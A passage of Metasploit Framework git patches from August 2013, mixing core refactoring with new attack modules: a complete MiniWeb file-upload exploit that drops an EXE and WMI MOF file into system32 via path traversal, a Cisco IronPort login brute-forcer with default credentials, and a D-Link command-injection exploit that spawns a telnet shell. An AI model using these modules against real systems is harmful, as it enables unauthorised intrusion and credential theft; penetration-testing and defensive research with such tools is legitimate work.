Platform: #{mod.platform_to_s}\n" output << " Arch: #{mod.arch_to_s}\n" output << "Needs Admin: " + (mod.privileged? ? "Yes" : "No") + "\n" @@ -255,7 +252,6 @@ def self.dump_basic_module(mod, indent = '') output = "\n" output << " Name: #{mod.name}\n" output << " Module: #{mod.fullname}\n" - output << " Version: #{mod.version}\n" output << " Platform: #{mod.platform_to_s}\n" output << " Arch: #{mod.arch_to_s}\n" output << " Rank: #{mod.rank_to_s.capitalize}\n" diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index e5169b9326a73..ee8cca66aee86 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -337,15 +337,6 @@ def description module_info['Description'] end - # - # Return the module's legacy version information. - # - def version - module_info['Version'].split(/,/).map { |ver| - ver.gsub(/\$Rev.s.on:\s+|\s+\$$/, '') - }.join(',') - end - # # Returns the disclosure date, if known. # From 7145a85fb48568f9d520c2904d4dc3035dc9f300 Mon Sep 17 00:00:00 2001 From: bcoles Date: Thu, 15 Aug 2013 01:01:46 +0930 Subject: [PATCH 192/454] Add MiniWeb (Build 300) Arbitrary File Upload --- .../windows/http/miniweb_upload_wbem.rb | 141 ++++++++++++++++++ 1 file changed, 141 insertions(+) create mode 100644 modules/exploits/windows/http/miniweb_upload_wbem.rb diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb new file mode 100644 index 0000000000000..1587cc23247d8 --- /dev/null +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -0,0 +1,141 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# Framework web site for more information on licensing and terms of use. +# http://metasploit.com/framework/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + HttpFingerprint = { :pattern => [ /MiniWeb/ ] } + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::EXE + include Msf::Exploit::WbemExec + include Msf::Exploit::FileDropper + + def initialize(info={}) + super(update_info(info, + 'Name' => "MiniWeb (Build 300) Arbitrary File Upload", + 'Description' => %q{ + This module exploits a vulnerability in MiniWeb HTTP server (build 300). + The software contains a file upload vulnerability that allows an + unauthenticated remote attacker to write arbitrary files to the file system. + + Code execution can be achieved by first uploading the payload to the remote + machine as an exe file, and then upload another mof file, which enables + WMI (Management Instrumentation service) to execute the uploaded payload. + Please note that this module currently only works for Windows before Vista. + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'AkaStep', # Initial discovery + 'Brendan Coles ', # Metasploit + ], + 'References' => + [ + ['OSVDB', '92198'], + ['OSVDB', '92200'], + ['URL', 'http://dl.packetstormsecurity.net/1304-exploits/miniweb-shelltraversal.txt'] + ], + 'Payload' => + { + 'BadChars' => "\x00", + }, + 'Platform' => 'win', + 'Targets' => + [ + # Tested on MiniWeb build 300, built on Feb 28 2013 + # - Windows XP SP3 (EN) + ['MiniWeb build 300 on Windows (Before Vista)', {}] + ], + 'Privileged' => true, + 'DisclosureDate' => "Apr 9 2013", + 'DefaultTarget' => 0)) + + register_options([ + Opt::RPORT(8000), + OptInt.new('DEPTH', [true, 'Traversal depth', 10]) + ], self.class) + + end + + def peer + "#{rhost}:#{rport}" + end + + def check + + begin + uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}") + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => uri + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE + fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed") + end + + if !res or res.headers['Server'].empty? + return Exploit::CheckCode::Unknown + elsif res.headers['Server'] =~ /^MiniWeb$/ + return Exploit::CheckCode::Detected + end + + return Exploit::CheckCode::Unknown + + end + + def upload(filename, filedata) + + print_status("#{peer} - Trying to upload '#{::File.basename(filename)}'") + uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}") + depth = "../" * (datastore['DEPTH'] + rand(10)) + + boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}" + post_data = "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{depth}#{filename}\"\r\n" + post_data << "Content-Type: application/octet-stream\r\n" + post_data << "\r\n#{filedata}\r\n" + post_data << "--#{boundary}\r\n" + + begin + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => uri, + 'ctype' => "multipart/form-data; boundary=#{boundary}", + 'data' => post_data + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE + fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed") + end + + return res + + end + + def exploit + fname = "#{rand_text_alpha(rand(10)+5)}" + + # upload exe + exe_name = "WINDOWS/system32/#{fname}.exe" + exe = generate_payload_exe + print_status("#{peer} - Sending executable (#{exe.length.to_s} bytes)") + upload(exe_name, exe) + + # upload mof + mof_name = "WINDOWS/system32/wbem/mof/#{fname}.mof" + mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name)) + print_status("#{peer} - Sending MOF (#{mof.length.to_s} bytes)") + upload(mof_name, mof) + + # list files to clean up + register_file_for_cleanup("#{::File.basename(exe_name)}") + register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}") + end + +end From bd6a45fffa15fde7d6a7808ae3fdf346b3f2a8db Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 14 Aug 2013 11:00:09 -0500 Subject: [PATCH 193/454] Get rid of version() use --- lib/msf/core/rpc/v10/rpc_module.rb | 1 - 1 file changed, 1 deletion(-) diff --git a/lib/msf/core/rpc/v10/rpc_module.rb b/lib/msf/core/rpc/v10/rpc_module.rb index f831730fe137a..9f42f85563d87 100644 --- a/lib/msf/core/rpc/v10/rpc_module.rb +++ b/lib/msf/core/rpc/v10/rpc_module.rb @@ -36,7 +36,6 @@ def rpc_info(mtype, mname) res['description'] = m.description res['license'] = m.license res['filepath'] = m.file_path - res['version'] = m.version res['rank'] = m.rank.to_i res['references'] = [] From d526663a535f8bf47e53d0146609f50e513ad54a Mon Sep 17 00:00:00 2001 From: Juushya Date: Wed, 14 Aug 2013 09:16:49 -0700 Subject: [PATCH 194/454] Add module to brute force the Cisco IronPort application --- .../scanner/http/cisco_ironport_enum.rb | 159 ++++++++++++++++++ 1 file changed, 159 insertions(+) create mode 100644 modules/auxiliary/scanner/http/cisco_ironport_enum.rb diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb new file mode 100644 index 0000000000000..32fc692d6b552 --- /dev/null +++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb @@ -0,0 +1,159 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'rex/proto/http' +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + include Msf::Auxiliary::AuthBrute + include Msf::Auxiliary::Scanner + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Cisco Ironport Bruteforce Login Utility', + 'Description' => %{ + This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS + version and performs login brute force to identify valid credentials. + }, + 'Author' => + [ + 'Karn Ganeshen ', + ], + 'License' => MSF_LICENSE + )) + + register_options( + [ + Opt::RPORT(443), + OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]), + OptString.new('TARGETURI', [true, "URI for Web login. Default: /login", "/login"]) + ], self.class) + end + + def run_host(ip) + unless is_app_ironport? + print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.") + return + end + + status = try_default_credential + return if status == :abort + + print_status("#{rhost}:#{rport} - Brute-forcing...") + each_user_pass do |user, pass| + do_login(user, pass) + end + end + + # + # What's the point of running this module if the app actually isn't Cisco Ironport? + # + + def is_app_ironport? + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + + if (res) + cookie = res.headers['Set-Cookie'].split('; ')[0] + end + + res = send_request_cgi( + { + 'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm", + 'method' => 'GET', + 'cookie' => '#{cookie}' + }) + + if (res and res.body.include?('Cisco IronPort AsyncOS')) + version_key = /Cisco IronPort AsyncOS (.+? )/ + version = res.body.scan(version_key).flatten[0].gsub('"','') + product_key = /for (.*) '/login?CSRFKey=58ca8090-8fa1-4c07-9a87-65a7d4d4aa67', + 'method' => 'POST', + 'cookie' => '#{cookie_1}', + 'vars_post' => + { + 'action' => 'Login', + 'referrer' => '', + 'screen' => 'login', + 'username' => user, + 'password' => pass + } + }) + + if (res and res.headers['Set-Cookie'].include?('authenticated=')) + print_good("#{rhost}:#{rport} - SUCCESSFUL LOGIN - #{user.inspect}:#{pass.inspect}") + + report_hash = { + :host => rhost, + :port => rport, + :sname => '#{p_name}', + :user => user, + :pass => pass, + :active => true, + :type => 'password' + } + + report_auth_info(report_hash) + return :next_user + + else + vprint_error("#{rhost}:#{rport} - FAILED LOGIN - #{user.inspect}:#{pass.inspect}") + end + + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + print_error("#{rhost}:#{rport} - HTTP Connection Failed, Aborting") + return :abort + end + end + +end From e6c36864c42641b05b641db1259351a91a03e356 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 14 Aug 2013 11:47:57 -0500 Subject: [PATCH 195/454] Fix telnet related stuff --- .../linux/http/dlink_dir300_exec_telnet.rb | 131 +++++++++--------- 1 file changed, 62 insertions(+), 69 deletions(-) diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 4177c7312b58e..a35bfe6951b85 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -11,23 +11,19 @@ class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient - include Msf::Auxiliary::CommandShell def initialize(info = {}) super(update_info(info, - 'Name' => 'D-Link Devices Authenticated Remote Command Execution', + 'Name' => 'D-Link Devices Unauthenticated Remote Command Execution', 'Description' => %q{ Different D-Link Routers are vulnerable to OS command injection via the web interface. The vulnerability exists in tools_vct.xgi, which is accessible with - credentials. This module has been tested with the versions DIR-300 rev A v1.05 - and DIR-615 rev D v4.13. Two target are included, the first one starts a telnetd - service and establish a session over it, the second one runs commands via the CMD - target. There is no wget or tftp client to upload an elf backdoor easily. According - to the vulnerability discoverer, more D-Link devices may affected. + credentials. According to the vulnerability discoverer, more D-Link devices may + be affected. }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, @@ -40,27 +36,21 @@ def initialize(info = {}) ], 'DisclosureDate' => 'Apr 22 2013', 'Privileged' => true, - 'Platform' => ['linux','unix'], - 'Payload' => + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => { - 'DisableNops' => true, + 'Compat' => { + 'PayloadType' => 'cmd_interact', + 'ConnectionType' => 'find', + }, }, + 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'Targets' => [ - [ 'CMD', #all devices - { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' - } - ], - [ 'Telnet', #all devices - default target - { - 'Arch' => ARCH_CMD, - 'Platform' => 'unix' - } - ], + [ 'Automatic', { } ], ], - 'DefaultTarget' => 1 + 'DefaultTarget' => 0 )) register_options( @@ -69,6 +59,20 @@ def initialize(info = {}) OptString.new('PASSWORD',[ false, 'Password to login with', 'admin']), ], self.class) + + register_advanced_options( + [ + OptInt.new('TelnetTimeout', [ true, 'The number of seconds to wait for a reply from a Telnet command', 10]), + OptInt.new('TelnetBannerTimeout', [ true, 'The number of seconds to wait for the initial banner', 25]) + ], self.class) + end + + def tel_timeout + (datastore['TelnetTimeout'] || 10).to_i + end + + def banner_timeout + (datastore['TelnetBannerTimeout'] || 25).to_i end def exploit @@ -81,12 +85,7 @@ def exploit end test_login(user, pass) - - if target.name =~ /CMD/ - exploit_cmd - else - exploit_telnet - end + exploit_telnet end def test_login(user, pass) @@ -129,23 +128,10 @@ def test_login(user, pass) end end - def exploit_cmd - if not (datastore['CMD']) - fail_with(Exploit::Failure::BadConfig, "#{rhost}:#{rport} - Only the cmd/generic payload is compatible") - end - res = request(payload.encoded) - if (!res or res.code != 302 or res.headers['Server'].nil? or res.headers['Server'] !~ /Alpha_webserv/) - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - end - - print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state\n") - return - end - def exploit_telnet telnetport = rand(65535) - vprint_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") + print_status("#{rhost}:#{rport} - Telnetport: #{telnetport}") cmd = "telnetd -p #{telnetport}" @@ -153,37 +139,27 @@ def exploit_telnet request(cmd) begin + print_status("#{rhost}:#{rport} - Trying to establish a telnet connection...") sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => telnetport.to_i }) - if sock - print_good("#{rhost}:#{rport} - Backdoor service has been spawned, handling...") - add_socket(sock) + if sock.nil? + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + end + + print_status("#{rhost}:#{rport} - Trying to establish a telnet session...") + prompt = negotiate_telnet(sock) + if prompt.nil? + sock.close + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to establish a telnet session") else - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + print_good("#{rhost}:#{rport} - Telnet session successfully established...") end - print_status "Attempting to start a Telnet session #{rhost}:#{telnetport}" - auth_info = { - :host => rhost, - :port => telnetport, - :sname => 'telnet', - :user => "", - :pass => "", - :source_type => "exploit", - :active => true - } - report_auth_info(auth_info) - merge_me = { - 'USERPASS_FILE' => nil, - 'USER_FILE' => nil, - 'PASS_FILE' => nil, - 'USERNAME' => nil, - 'PASSWORD' => nil - } - start_session(self, "TELNET (#{rhost}:#{telnetport})", merge_me, false, sock) + handler(sock) rescue - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Backdoor service has not been spawned!!!") + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not handle the backdoor service") end + return end @@ -203,7 +179,24 @@ def request(cmd) }) return res rescue ::Rex::ConnectionError - fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") + fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Could not connect to the webservice") end end + + def negotiate_telnet(sock) + begin + Timeout.timeout(banner_timeout) do + while(true) + data = sock.get_once(-1, tel_timeout) + return nil if not data or data.length == 0 + if data =~ /\x23\x20$/ + return true + end + end + end + rescue ::Timeout::Error + return nil + end + end + end From 2a4b8e4a64485e678964111a3303c37074bdf0fd Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 14 Aug 2013 11:49:32 -0500 Subject: [PATCH 196/454] Add useful comment --- modules/exploits/linux/http/dlink_dir300_exec_telnet.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index a35bfe6951b85..274dbadc5b906 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -183,6 +183,7 @@ def request(cmd) end end + # Since there isn't user/password negotiation, just wait until the prompt is there def negotiate_telnet(sock) begin Timeout.timeout(banner_timeout) do From ec36970ffa377f8f693a1474bc95e155928f7395 Mon Sep 17 00:00:00 2001 From: Karn Ganeshen Date: Wed, 14 Aug 2013 22:22:06 +0530 Subject: [PATCH 197/454] cisco_ironport_enum module This module scans for Cisco Ironport SMA, WSA and ESA web login portals, finds AsyncOS version and performs login brute force to identify valid credentials. From 178a7b0dbb1832122e1bda61b2c47daaba83aeba Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Wed, 14 Aug 2013 11:56:47 -0500 Subject: [PATCH 198/454] Fix author's email format --- modules/exploits/linux/http/dlink_dir300_exec_telnet.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb index 274dbadc5b906..d0f10e5bc4826 100644 --- a/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb +++ b/modules/exploits/linux/http/dlink_dir300_exec_telnet.rb @@ -23,7 +23,7 @@ def initialize(info = {}) }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, From 98e0053dc659f9baf7ef5ee97e35e90e79bffd1e Mon Sep 17 00:00:00 2001 From: sinn3r Date: Wed, 14 Aug 2013 13:07:01 -0500 Subject: [PATCH 199/454] Fix indent level --- modules/exploits/windows/http/miniweb_upload_wbem.rb | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/modules/exploits/windows/http/miniweb_upload_wbem.rb b/modules/exploits/windows/http/miniweb_upload_wbem.rb index 1587cc23247d8..346b890a03ddf 100644 --- a/modules/exploits/windows/http/miniweb_upload_wbem.rb +++ b/modules/exploits/windows/http/miniweb_upload_wbem.rb @@ -96,12 +96,12 @@ def upload(filename, filedata) uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}") depth = "../" * (datastore['DEPTH'] + rand(10)) - boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}" - post_data = "--#{boundary}\r\n" - post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{depth}#{filename}\"\r\n" - post_data << "Content-Type: application/octet-stream\r\n" - post_data << "\r\n#{filedata}\r\n" - post_data << "--#{boundary}\r\n" + boundary = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}" + post_data = "--#{boundary}\r\n" + post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{depth}#{filename}\"\r\n" + post_data << "Content-Type: application/octet-stream\r\n" + post_data << "\r\n#{filedata}\r\n" + post_data << "--#{boundary}\r\n" begin res = send_request_cgi({ From ed00b8c19ead5ca741c4282a097cd815320f3c6c Mon Sep 17 00:00:00 2001 From: James Lee Date: Wed, 14 Aug 2013 14:09:37 -0500 Subject: [PATCH 200/454] Ensure checksum* methods return a Fixnum Fixes a bug in reverse_http* stagers where requests for the root URI (i.e., "/") cause a NoMethodError on nil returned by checksum8. [See #2216] --- lib/rex/text.rb | 20 +++++++++++++++----- 1 file changed, 15 insertions(+), 5 deletions(-) diff --git a/lib/rex/text.rb b/lib/rex/text.rb index 3941e3080b7de..d13232d110513 100644 --- a/lib/rex/text.rb +++ b/lib/rex/text.rb @@ -1563,24 +1563,34 @@ def self.load_codepage() @@codepage_map_cache = map end + # @param str [String] Data to checksum + # @return [Fixnum] 8-bit checksum def self.checksum8(str) - str.unpack("C*").inject(:+) % 0x100 + (str.unpack("C*").inject(:+) || 0) % 0x100 end + # @param str [String] Little-endian data to checksum + # @return [Fixnum] 16-bit checksum def self.checksum16_le(str) - str.unpack("v*").inject(:+) % 0x10000 + (str.unpack("v*").inject(:+) || 0) % 0x10000 end + # @param str [String] Big-endian data to checksum + # @return [Fixnum] 16-bit checksum def self.checksum16_be(str) - str.unpack("n*").inject(:+) % 0x10000 + (str.unpack("n*").inject(:+) || 0) % 0x10000 end + # @param str [String] Little-endian data to checksum + # @return [Fixnum] 32-bit checksum def self.checksum32_le(str) - str.unpack("V*").inject(:+) % 0x100000000 + (str.unpack("V*").inject(:+) || 0) % 0x100000000 end + # @param str [String] Big-endian data to checksum + # @return [Fixnum] 32-bit checksum def self.checksum32_be(str) - str.unpack("N*").inject(:+) % 0x100000000 + (str.unpack("N*").inject(:+) || 0) % 0x100000000 end end From a65181d51b5206368c6dc1be2846e0fbb5d39aeb Mon Sep 17 00:00:00 2001 From: Karn Ganeshen Date: Thu, 15 Aug 2013 04:06:30 +0530 Subject: [PATCH 201/454] new revision - cisco_ironport_enum Added code to check successful conn first, so now if there is no connectivity on target port, script aborts run. New check to ensure 'set-cookie' is set by the app as expected, before any further fingerprinting & b-f starts. If the app is not Ironport, 'set-cookie' will not be set & remains null, and so script aborts run. De-registered 'TARGETURI.' Registered 'username' and 'password' with default value. Changed some run messages. And lastly, changed the csrf key piece cos I miss a cold beer right now. --- .../scanner/http/cisco_ironport_enum.rb | 125 ++++++++++-------- 1 file changed, 67 insertions(+), 58 deletions(-) diff --git a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb index 32fc692d6b552..b40ff9d0ee70a 100644 --- a/modules/auxiliary/scanner/http/cisco_ironport_enum.rb +++ b/modules/auxiliary/scanner/http/cisco_ironport_enum.rb @@ -32,80 +32,91 @@ def initialize(info={}) register_options( [ Opt::RPORT(443), - OptBool.new('SSL', [ true, "Negotiate SSL for outgoing connections", true]), - OptString.new('TARGETURI', [true, "URI for Web login. Default: /login", "/login"]) + OptBool.new('SSL', [true, "Negotiate SSL for outgoing connections", true]), + OptString.new('USERNAME', [true, "A specific username to authenticate as", "admin"]), + OptString.new('PASSWORD', [true, "A specific password to authenticate with", "ironport"]) ], self.class) + + deregister_options('TARGETURI') + end def run_host(ip) + unless check_conn? + print_error("#{rhost}:#{rport} - Connection failed, Aborting...") + return + end + unless is_app_ironport? print_error("#{rhost}:#{rport} - Application does not appear to be Cisco Ironport. Module will not continue.") return end - status = try_default_credential - return if status == :abort - - print_status("#{rhost}:#{rport} - Brute-forcing...") + print_status("#{rhost}:#{rport} - Starting login brute force...") each_user_pass do |user, pass| do_login(user, pass) end end - # - # What's the point of running this module if the app actually isn't Cisco Ironport? - # - - def is_app_ironport? - res = send_request_cgi( - { - 'uri' => '/', - 'method' => 'GET' - }) - - if (res) - cookie = res.headers['Set-Cookie'].split('; ')[0] - end - - res = send_request_cgi( - { - 'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm", - 'method' => 'GET', - 'cookie' => '#{cookie}' - }) - - if (res and res.body.include?('Cisco IronPort AsyncOS')) - version_key = /Cisco IronPort AsyncOS (.+? )/ - version = res.body.scan(version_key).flatten[0].gsub('"','') - product_key = /for (.*) '/', + 'method' => 'GET' + }) + print_good("#{rhost}:#{rport} - Server is responsive...") + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError, ::Errno::EPIPE + return end end # - # Test and see if the default credential works + # What's the point of running this module if the app actually isn't Cisco Ironport? # - def try_default_credential - user = 'admin' - pass = 'ironport' - vprint_status("#{rhost}:#{rport} - Trying default login...") - do_login(user, pass) + def is_app_ironport? + res = send_request_cgi( + { + 'uri' => '/', + 'method' => 'GET' + }) + + if (res and res.headers['Set-Cookie']) + + cookie = res.headers['Set-Cookie'].split('; ')[0] + + res = send_request_cgi( + { + 'uri' => "/help/wwhelp/wwhimpl/common/html/default.htm", + 'method' => 'GET', + 'cookie' => '#{cookie}' + }) + + if (res and res.code == 200 and res.body.include?('Cisco IronPort AsyncOS')) + version_key = /Cisco IronPort AsyncOS (.+? )/ + version = res.body.scan(version_key).flatten[0].gsub('"','') + product_key = /for (.*) '/login?CSRFKey=58ca8090-8fa1-4c07-9a87-65a7d4d4aa67', + 'uri' => '/login?CSRFKey=5PADuD3Z-10v3-b33R-5h0t-0n4h3R0cK555', 'method' => 'POST', - 'cookie' => '#{cookie_1}', 'vars_post' => { 'action' => 'Login', @@ -136,7 +146,7 @@ def do_login(user, pass) report_hash = { :host => rhost, :port => rport, - :sname => '#{p_name}', + :sname => 'Cisco IronPort Appliance', :user => user, :pass => pass, :active => true, @@ -155,5 +165,4 @@ def do_login(user, pass) return :abort end end - end From 71285f395de4aa1214abbadc648e7f057937052f Mon Sep 17 00:00:00 2001 From: Spencer McIntyre Date: Thu, 15 Aug 2013 09:27:13 -0400 Subject: [PATCH 202/454] Sort import statements alphabetically. --- data/meterpreter/ext_server_stdapi.py | 12 ++++++------ data/meterpreter/meterpreter.py | 8 ++++---- 2 files changed, 10 insertions(+), 10 deletions(-) diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py index 702f8b013bc79..63b2792a00f2e 100644 --- a/data/meterpreter/ext_server_stdapi.py +++ b/data/meterpreter/ext_server_stdapi.py @@ -1,14 +1,14 @@ -import os -import sys -import shlex import ctypes -import socket -import struct -import shutil import fnmatch import getpass +import os import platform +import shlex +import shutil +import socket +import struct import subprocess +import sys has_windll = hasattr(ctypes, 'windll') diff --git a/data/meterpreter/meterpreter.py b/data/meterpreter/meterpreter.py index ba3f0e05348ac..8d58cc7e5f7e4 100644 --- a/data/meterpreter/meterpreter.py +++ b/data/meterpreter/meterpreter.py @@ -1,14 +1,14 @@ #!/usr/bin/python -import os -import sys import code -import random import ctypes +import os +import random import select import socket import struct -import threading import subprocess +import sys +import threading has_windll = hasattr(ctypes, 'windll') From 4706f8b54c100140c0a2ce4ba9a1b933377fd71b Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 15 Aug 2013 13:30:47 -0500 Subject: [PATCH 203/454] Add fail_with() stub and move Failure from Exploit --- lib/msf/core/module.rb | 79 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 79 insertions(+) diff --git a/lib/msf/core/module.rb b/lib/msf/core/module.rb index ee8cca66aee86..682049a134da9 100644 --- a/lib/msf/core/module.rb +++ b/lib/msf/core/module.rb @@ -734,6 +734,85 @@ def search_filter(search_string) false end + # + # Support fail_with for all module types, allow specific classes to override + # + def fail_with(reason, msg=nil) + raise RuntimeError, "#{reason.to_s}: #{msg}" + end + + # + # Constants indicating the reason for an unsuccessful module attempt + # + module Failure + + # + # No confidence in success or failure + # + None = 'none' + + # + # No confidence in success or failure + # + Unknown = 'unknown' + + # + # The network service was unreachable (connection refused, etc) + # + Unreachable = 'unreachable' + + # + # The exploit settings were incorrect + # + BadConfig = 'bad-config' + + # + # The network service disconnected us mid-attempt + # + Disconnected = 'disconnected' + + # + # The application endpoint or specific service was not found + # + NotFound = 'not-found' + + # + # The application replied in an unexpected fashion + # + UnexpectedReply = 'unexpected-reply' + + # + # The exploit triggered some form of timeout + # + TimeoutExpired = 'timeout-expired' + + # + # The exploit was interrupted by the user + # + UserInterrupt = 'user-interrupt' + + # + # The application replied indication we do not have access + # + NoAccess = 'no-access' + + # + # The target is not compatible with this exploit or settings + # + NoTarget = 'no-target' + + # + # The application response indicated it was not vulnerable + # + NotVulnerable = 'not-vulnerable' + + # + # The payload was delivered but no session was opened (AV, network, etc) + # + PayloadFailed = 'payload-failed' + end + + ## # # Just some handy quick checks From bec15ebf7cd122b989d51184c21a9a22fbb5a581 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 15 Aug 2013 13:31:21 -0500 Subject: [PATCH 204/454] Remove Failure (moved to parent class) --- lib/msf/core/exploit.rb | 75 ----------------------------------------- 1 file changed, 75 deletions(-) diff --git a/lib/msf/core/exploit.rb b/lib/msf/core/exploit.rb index cf15006afac4c..a801428074758 100644 --- a/lib/msf/core/exploit.rb +++ b/lib/msf/core/exploit.rb @@ -101,81 +101,6 @@ module CheckCode Unsupported = [ 'unsupported', "This exploit does not support check." ] end - - - ## - # - # Constants indicating the reason for an unsuccessful exploit attempt - # - ## - module Failure - - # - # No confidence in success or failure - # - None = 'none' - - # - # No confidence in success or failure - # - Unknown = 'unknown' - - # - # The network service was unreachable (connection refused, etc) - # - Unreachable = 'unreachable' - - # - # The exploit settings were incorrect - # - BadConfig = 'bad-config' - - # - # The network service disconnected us mid-attempt - # - Disconnected = 'disconnected' - - # - # The application endpoint or specific service was not found - # - NotFound = 'not-found' - - # - # The application replied in an unexpected fashion - # - UnexpectedReply = 'unexpected-reply' - - # - # The exploit triggered some form of timeout - # - TimeoutExpired = 'timeout-expired' - - # - # The exploit was interrupted by the user - # - UserInterrupt = 'user-interrupt' - - # - # The application replied indication we do not have access - # - NoAccess = 'no-access' - - # - # The target is not compatible with this exploit or settings - # - NoTarget = 'no-target' - - # - # The application response indicated it was not vulnerable - # - NotVulnerable = 'not-vulnerable' - - # - # The payload was delivered but no session was opened (AV, network, etc) - # - PayloadFailed = 'payload-failed' - end - # # The various basic types of exploits # From 6c1ba9c9c966b94f06b6444da3680d2e9979082f Mon Sep 17 00:00:00 2001 From: HD Moore Date: Thu, 15 Aug 2013 14:14:46 -0500 Subject: [PATCH 205/454] Switch to Failure vs Exploit::Failure --- .../gather/apple_safari_webarchive_uxss.rb | 2 +- modules/exploits/aix/rpc_cmsd_opcode21.rb | 2 +- .../bsdi/softcart/mercantec_softcart.rb | 2 +- .../exploits/freebsd/ftp/proftp_telnet_iac.rb | 6 ++-- modules/exploits/freebsd/local/mmap.rb | 6 ++-- .../freebsd/telnet/telnet_encrypt_keyid.rb | 2 +- modules/exploits/linux/ftp/proftp_sreplace.rb | 6 ++-- .../exploits/linux/ftp/proftp_telnet_iac.rb | 8 ++--- .../http/dlink_command_php_exec_noauth.rb | 